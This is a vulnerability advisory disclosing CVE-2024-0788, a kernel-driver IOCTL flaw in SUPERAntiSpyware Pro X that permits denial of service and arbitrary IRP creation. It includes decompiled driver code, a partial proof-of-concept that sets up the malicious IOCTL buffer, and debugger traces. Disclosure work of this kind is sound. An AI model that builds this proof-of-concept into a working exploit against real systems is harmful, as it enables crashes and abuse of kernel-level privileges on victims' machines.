

Advisories

SUPERAntiSpyware Pro X - API manipulation

6,6

Medium

6,6

Medium

Discovered by

Andres Roldan

Offensive Team, Fluid Attacks

Summary

Full name

SUPERAntiSpyware Pro X v10.0.1260 - Kernel-level API parameters manipulation

Code name

Brubeck

State

Public

Release date

29 ene 2024

Affected product

SUPERAntiSpyware Pro X

Vendor

SUPERAntiSpyware

Affected version(s)

Version 10.0.1260

Vulnerability name

Kernel-level API parameters manipulation

Vulnerability type

344. Lack of data validation - Non Sanitized Variables

Remotely exploitable

CVSS v3.1 vector string

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H

CVSS v3.1 base score

6.6

Exploit available

Yes

CVE ID(s)

CVE-2024-0788

Description

SUPERAntiSpyware Pro X v10.0.1260 is vulnerable to kernel-level API parameters manipulation and Denial of Service vulnerabilities by triggering the 0x9C402140 IOCTL code of the saskutil64.sys driver.

Vulnerability

The 0x9C402140 IOCTL code of the saskutil64.sys driver allows a local attacker to manipulate the parameters of the IoGetDeviceObjectPointer and IoBuildSynchronousFsdRequest kernel-level APIs, leading to DoS when a invalid Device Object is passed to IoGetDeviceObjectPointer. The primitive can be further abused to create arbitrary IRPs to perform driver-to-driver calls.

The decompiled pseudo-code of the affected function is this:

__int64 __fastcall sub_1110C(__int64 a1, __int64 a2)
{
 unsigned __int64 v2; // rbx
 volatile void *v3; // rcx
 PIRP v4; // rax
 struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-48h] BYREF
 struct _IO_STATUS_BLOCK IoStatusBlock; // [rsp+50h] [rbp-38h] BYREF
 struct _KEVENT Event; // [rsp+60h] [rbp-28h] BYREF
 PDEVICE_OBJECT DeviceObject; // [rsp+98h] [rbp+10h] BYREF
 union _LARGE_INTEGER Timeout; // [rsp+A0h] [rbp+18h] BYREF
 PFILE_OBJECT FileObject; // [rsp+A8h] [rbp+20h] BYREF

 v2 = *(_QWORD *)(a2 + 0x18);
 if ( v2 < 0x8000000000000000ui64 )
 {
 ProbeForRead((volatile void *)v2, 0x1018ui64, 1u);
 ProbeForWrite((volatile void *)v2, 0x1018ui64, 1u);
 }
 v3 = *(volatile void **)(v2 + 0x1010);
 if ( (unsigned __int64)v3 < 0x8000000000000000ui64 )
 {
 ProbeForRead(v3, *(unsigned int *)(v2 + 0x1008), 1u);
 ProbeForWrite(*(volatile void **)(v2 + 0x1010), *(unsigned int *)(v2 + 0x1008), 1u);
 }
 RtlInitUnicodeString(&DestinationString, (PCWSTR)v2);
 IoGetDeviceObjectPointer(&DestinationString, 0x80u, &FileObject, &DeviceObject); // [1]
 Timeout = *(union _LARGE_INTEGER *)(v2 + 0x1000);
 KeInitializeEvent(&Event, NotificationEvent, 0);
 v4 = IoBuildSynchronousFsdRequest( //[2]
 4u,
 DeviceObject,
 *(PVOID *)(v2 + 0x1010),
 *(_DWORD *)(v2 + 0x1008),
 &Timeout,
 &Event,
 &IoStatusBlock);
 v4->Flags = 0x10;
  if ( IofCallDriver(DeviceObject, v4) == 0x103 )
    KeWaitForSingleObject(&Event, Executive, 0, 0, 0i64);
  return 0i64

When an attacker performs a request to the affected IOCTL, some parameters of [1] and [2] can be influenced.

Snipped of the Proof-of-Concept:

ULONGLONG injectedBufferAddr = 0x00000003a0000000;
...
LPVOID injectedBuffer = VirtualAlloc((LPVOID)injectedBufferAddr, 0x1020, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
...
memset(injectedBuffer, 0x42, 0x1020);
...
// IoGetDeviceObjectPointer->ObjectName
swprintf_s((WCHAR*)inBuf, 13, L"\\Device\\CNG");
// IoBuildSynchronousFsdRequest->StartingOffset
((PDWORD64)((DWORD64)inBuf + 0x1000))[0] = (ULONGLONG)0x1337;
// IoBuildSynchronousFsdRequest->Length
((PDWORD64)((DWORD64)inBuf + 0x1008))[0] = (ULONGLONG)0x200;
// IoBuildSynchronousFsdRequest->Buffer
((PDWORD64)((DWORD64)inBuf + 0x1010))[0] = (ULONGLONG)injectedBuffer;
...
DWORD IoControlCode = 0x9C402140;
...
BOOL triggerIOCTL = DeviceIoControl(hOseeDriver, IoControlCode, (LPVOID)InputBuffer, InputBufferLength, (LPVOID)OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL

The resulting kernel-level API calls are:

Breakpoint 1 hit
SASKUTIL64+0x11b5:
fffff804`535211b5 ff157d0e0000 call qword ptr [SASKUTIL64+0x2038 (fffff804`53522038)]

1: kd> dps fffff804`53522038 L1
fffff804`53522038 fffff804`4e80f9f0 nt!IoGetDeviceObjectPointer

1: kd> du poi(rcx+8)
ffff8608`2b4bf000 "\Device\CNG"

Breakpoint 0 hit
SASKUTIL64+0x1216:
fffff804`53521216 ff15f40d0000 call qword ptr [SASKUTIL64+0x2010 (fffff804`53522010)]

0: kd> dps fffff804`53522010 L1
fffff804`53522010 fffff804`4e858f70 nt!IoBuildSynchronousFsdRequest

0: kd> r rcx; r rdx; r r8; r r9; dps poi(rsp+20) L1; dps poi(rsp+28) L1
rcx=0000000000000004
rdx=ffff860826932c90
r8=00000003a0000000
r9=0000000000000200
ffffa781`aa9e97e0  00000000`00001337
ffffa781`aa9e97a0  00000000`68060000

Our security policy

We have reserved the ID CVE-2024-0788 to refer to this issue from now on.

Disclosure policy

System Information

Version: SUPERAntiSpyware Pro X v10.0.1260
Operating System: Windows

Mitigation

There is currently no patch available for this vulnerability.

References

Vendor page https://www.superantispyware.com/
Product page https://www.superantispyware.com/professional-x-edition.html

Timeline



22 ene 2024

Vulnerability discovered



22 ene 2024

Vendor contacted



29 ene 2024

Public disclosure

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